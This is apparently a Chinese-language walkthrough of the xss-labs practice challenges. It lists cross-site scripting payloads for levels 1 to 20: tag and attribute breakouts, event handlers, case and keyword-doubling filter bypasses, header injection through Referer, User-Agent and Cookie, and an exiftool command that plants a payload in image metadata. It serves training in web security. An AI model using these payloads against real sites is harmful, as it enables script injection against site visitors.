xss-labs的github地址:github.com/do0dl3/xss-…
第1关
没有任何过滤
<script>alert('1')</script>
http://test.ctf8.com/level1.php?name=<script>alert('1')</script>
第2关
代码对特殊符号进行html实体编码,闭合引号
"><script>alert(1)</script>
http://test.ctf8.com/level2.php?keyword="><script>alert(1)</script>&submit=搜索
第3关
' onmouseover=alert(1)//
第4关
" onclick=alert(/xss/)//
第5关
"><a href=javascript:alert(/xss/)>xss</a>
第6关
"><a Href=javascript:alert(/xss/)>xss</a>
"><Script>alert(/xss/)</script>
第7关
"><img srsrcc="" oonnerror=alert(/xss/)>
第8关
javascript:alert(/xss/)
javascript:alert(/xss/)
javascript:alert(1)
第9关
javascript:alert(1)//http://
javascript:alert(/xss/)//http://
javascript:alert(/xss/)//http://
第10关
&t_sort=" type=image src=x onerror=alert(1)//
第11关
在Referer头的地方替换
" type=text onclick="alert(1)
第12关
User-Agent处替换
" type=text onclick="alert(1)
第13关
Cookie处替换
" type=text onclick="alert(1)
第14关
关于exif xss,涉及www.exifviewer.org/ ,国内无法访问暂时。
exiftool -FIELD=XSS FILE
exiftool -Artist='"><img src=1 onerror=alert(document.domain)>' brute.jpeg
上传图片即可触发。
第15关
?src='level1.php?name=test<img src=1 onerror=alert(1)>'
第16关
?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
第17关
?arg01=a&arg02= onmouseover=alert(1)
第18关
?arg01=a&arg02=b onmouseout=alert(1)
第19关
有关flash xss
参考:www.secpulse.com/archives/44…
第20关
关于flash xss
参考:www.cnblogs.com/-qing-/p/10…
flash可以调用js的函数,使用不当会造成xss,常见可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等。